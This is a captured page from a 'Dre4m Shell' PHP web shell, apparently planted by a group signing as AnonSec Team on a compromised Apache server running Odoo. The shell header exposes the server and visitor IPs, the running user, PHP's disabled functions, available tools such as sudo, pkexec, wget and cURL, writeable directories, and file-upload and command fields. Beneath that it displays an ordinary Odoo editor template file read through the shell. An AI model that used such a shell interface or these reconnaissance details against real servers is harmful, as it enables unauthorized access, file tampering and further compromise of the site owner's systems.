Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.116.47.33
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/web_editor/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/web_editor/views/iframe.xml
<?xml version="1.0" encoding="utf-8"?>
<odoo>

<template id="layout" name="Editor layout">&lt;!DOCTYPE html&gt;
    <html t-att-lang="lang and lang.replace('_', '-')"
          t-att-data-editable="'1' if editable else None"
          t-att-data-translatable="'1' if translatable else None"
          t-att-data-edit_translations="'1' if edit_translations else None"
          t-att-data-main-object="repr(main_object) if editable else None">
        <head>
            <meta charset="utf-8" />
            <title>Odoo Editor layout</title>
            <meta name="viewport" content="initial-scale=1"/>
            <script type="text/javascript">
                var snippets_url = '<t t-esc="snippets or ''"/>';
                var callback = window.location.href.match(/callback=([^&amp;=]+)/)[1];

                var odoo = {
                    session_info: {
                        is_superuser: <t t-esc="json.dumps(request.env.user._is_superuser())"/>,
                        is_frontend: true, // this is not really the frontend here but this key is used to detect if xml has to be manually loaded
                    },
                };
            </script>
            <t t-if="not dont_load_assets">
                <t t-call-assets="web.assets_common" t-js="false"/>
                <t t-call-assets="web.assets_frontend" t-js="false"/>
                <t t-call-assets="web_editor.summernote" t-js="false"/>
                <t t-call-assets="web_editor.assets_editor" t-js="false"/>

                <t t-call-assets="web.assets_common" t-css="false"/>
                <t t-call-assets="web_editor.summernote" t-css="false"/>
                <t t-call-assets="web_editor.assets_editor" t-css="false"/>

                <script type="text/javascript" src="/web/static/src/js/services/session.js"></script>
                <script type="text/javascript" src="/web_editor/static/src/js/iframe.js"></script>
                <script t-if="enable_editor and inline_mode" type="text/javascript" src="/web_editor/static/src/js/inline.js"></script>
            </t>
            <script>
                if (window.top.odoo &amp;&amp; !window.top.odoo[callback+"_updown"]) {
                    window.top.odoo[callback+"_updown"] = function (value, fields_values) {
                        var editable = document.getElementsByClassName("o_editable")[0];
                        if (editable &amp;&amp; value !== editable.innerHTML) {
                            editable.innerHTML = value;
                        }
                    };
                }
                if(window.odoo.define) {
                    odoo.define('web.csrf', function (require) {
                        var token = "<t t-esc="request.csrf_token(None)"/>";
                        var core = require('web.core');
                        core.csrf_token = token;
                        core.qweb.default_dict.csrf_token = token;
                    });
                }
            </script>
            <t t-raw="head or ''"/>
        </head>
        <body id="web_editor_inside_iframe" onload="var fn=window.top.odoo &amp;&amp; window.top.odoo[callback+'_content']; if(fn) {fn();} else {console.warn('Please don\'t open iframe without the odoo backend');}">
            <div id="wrapwrap">
                <main>
                    <t t-raw="0"/>
                </main>
            </div>
            <t t-raw="add_html or ''"/>
        </body>
    </html>
</template>

<template id="FieldTextHtml" name="Editor HTML">
    <t t-call="web_editor.layout">
        <div id="editable_area" t-att-class="'' if edit_translations else 'o_editable'"></div>
    </t>
</template>

</odoo>

Anon7 - 2022
AnonSec Team